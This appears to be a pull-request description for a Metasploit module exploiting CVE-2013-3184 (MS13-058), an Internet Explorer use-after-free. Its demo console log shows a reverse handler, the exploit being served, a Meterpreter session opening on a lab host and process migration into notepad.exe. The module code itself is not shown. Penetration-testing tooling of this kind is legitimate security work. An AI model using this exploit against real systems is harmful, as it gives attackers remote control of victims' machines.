Add Initial Release of CVE-2013-3184 (MS13-058): CFlatMarkupPointer Use After Free

Initial release of CVE-2013-3184. Please see module description for more info.

Demo:

	msf exploit(ms13_058_cflatmarkuppointer) > exploit
	[*] Exploit running as background job.
	
	[*] Started reverse handler on 10.0.1.76:4444 
	[*] Using URL: http://0.0.0.0:8080/YFDRDEct
	[*]  Local IP: http://10.0.1.76:8080/YFDRDEct
	[*] Server started.
	msf exploit(ms13_058_cflatmarkuppointer) >
	[*] 10.0.1.79        ms13_058_cflatmarkuppointer - Sending exploit...
	[*] Sending stage (752128 bytes) to 10.0.1.79
	[*] Meterpreter session 1 opened (10.0.1.76:4444 -> 10.0.1.79:51131) at 2013-08-30 03:15:22 -0500
	[*] Session ID 1 (10.0.1.76:4444 -> 10.0.1.79:51131) processing InitialAutoRunScript 'migrate -f'
	[*] Current server process: iexplore.exe (2536)
	[*] Spawning notepad.exe process to migrate to
	[+] Migrating to 3800
	[+] Successfully migrated to process 
	
	msf exploit(ms13_058_cflatmarkuppointer) >